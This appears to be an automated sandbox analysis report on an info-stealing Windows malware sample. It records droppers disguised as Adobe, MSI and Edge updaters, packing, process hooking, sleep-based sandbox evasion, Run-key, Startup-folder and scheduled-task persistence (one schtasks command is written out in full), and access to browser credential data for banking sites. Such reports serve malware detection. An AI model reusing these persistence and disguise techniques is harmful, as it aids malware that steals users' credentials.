Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll

Source: EdgeMS2.lnk.0.dr

LNK file: ..\..\..\..\..\..\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 3723696 > 1048576

Source: file.exe

Static PE information: Raw size of .vmp,,,2 is bigger than: 0x100000 < 0x386c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Unpacked PE file: 8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 11.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Unpacked PE file: 12.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 13.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Unpacked PE file: 20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Unpacked PE file: 21.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Unpacked PE file: 22.2.MSIUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 25.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Unpacked PE file: 30.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 33.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Unpacked PE file: 38.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Unpacked PE file: 41.2.EdgeMS2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 44.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_068FC990 SetThreadExecutionState,SetThreadExecutionState,GetVersion,GetCurrentThreadId,GetThreadDesktop,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GdiplusStartup,CreateThread,CloseHandle,

0_2_068FC990

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp,,,2

Source: file.exe	Static PE information: section name: .vmp,,,0
Source: file.exe	Static PE information: section name: .vmp,,,1
Source: file.exe	Static PE information: section name: .vmp,,,2
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: IHobmyUUXF8jFZ9HHCK7.exe.0.dr	Static PE information: section name: .MPRESS1
Source: IHobmyUUXF8jFZ9HHCK7.exe.0.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe.0.dr	Static PE information: section name: .MPRESS2
Source: k[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: k[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: RthubJXJJOhKyKgs0z_b.exe.0.dr	Static PE information: section name: .MPRESS1
Source: RthubJXJJOhKyKgs0z_b.exe.0.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe0.0.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe0.0.dr	Static PE information: section name: .MPRESS2
Source: oobeldr.exe.8.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.8.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008985FD push ebp; iretd	0_2_007D90A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0071A6FC push ds; iretd	0_2_0071A71E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0071A716 push ds; iretd	0_2_0071A71E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080E834 push ds; iretd	0_2_0080E8AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B4C21 push es; ret	0_2_008B4C48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00740C96 push cs; iretd	0_2_008C547E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080908A push 1EA38640h; iretd	0_2_008090CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00593F49 push ecx; ret	0_2_00593F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00801F18 pushad ; ret	0_2_00801F37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0693E710 push es; retf 0000h	0_2_0693E8C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0693E5CB push es; iretd	0_2_0693E70C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0693C245 push esi; ret	0_2_0693C24E
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Code function: 8_2_006D50A5 push ebp; ret	8_2_00721C57

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: DF0005 value: E9 2B BA 63 76	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 7742BA30 value: E9 DA 45 9C 89	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 1140008 value: E9 8B 8E 33 76	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 77478E90 value: E9 80 71 CC 89	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 1160005 value: E9 8B 4D AA 75	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 76C04D90 value: E9 7A B2 55 8A	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 1170005 value: E9 EB EB AA 75	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 76C1EBF0 value: E9 1A 14 55 8A	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 1180005 value: E9 8B 8A 70 75	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 76888A90 value: E9 7A 75 8F 8A	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 1190005 value: E9 2B 02 72 75	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 5316 base: 768B0230 value: E9 DA FD 8D 8A	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0064B500 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0064B500

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to implement multi-threaded time evasion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_068FC230 CreateThread,Sleep, call eax

0_2_068FC230

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\file.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-48934

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0084C590 rdtsc

0_2_0084C590

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 8084	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1122	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 9995

Source: C:\Users\user\Desktop\file.exe TID: 6396	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3232	Thread sleep time: -807000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6396	Thread sleep time: -8084000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3232	Thread sleep time: -3366000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1440	Thread sleep count: 9995 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1440	Thread sleep time: -2248875s >= -30000s

Source: C:\Users\user\Desktop\file.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006233B0 CreateDirectoryA,FindFirstFileA,	0_2_006233B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00591F8C FindFirstFileExW,GetLastError,	0_2_00591F8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079CBCC FindFirstFileExW,	0_2_0079CBCC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06936276 VirtualQuery,GetSystemInfo,

0_2_06936276

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 30000

Jump to behavior

Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1441495454.0000000006215000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Dk&Ven_VMware&P
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: file.exe, 00000000.00000002.3809076679.0000000005DE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}D
Source: file.exe, 00000000.00000002.3807052921.000000000122C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.3807052921.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660139988.000000000125B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3807052921.000000000121A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: file.exe, 00000000.00000002.3809268404.000000000622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_6C5DD4F2
Source: file.exe, 00000000.00000003.2659946662.0000000005E0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: file.exe, 00000000.00000002.3809268404.000000000622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_6C5DD4F2=
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: ElGSHigIWc8DWeb Data.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
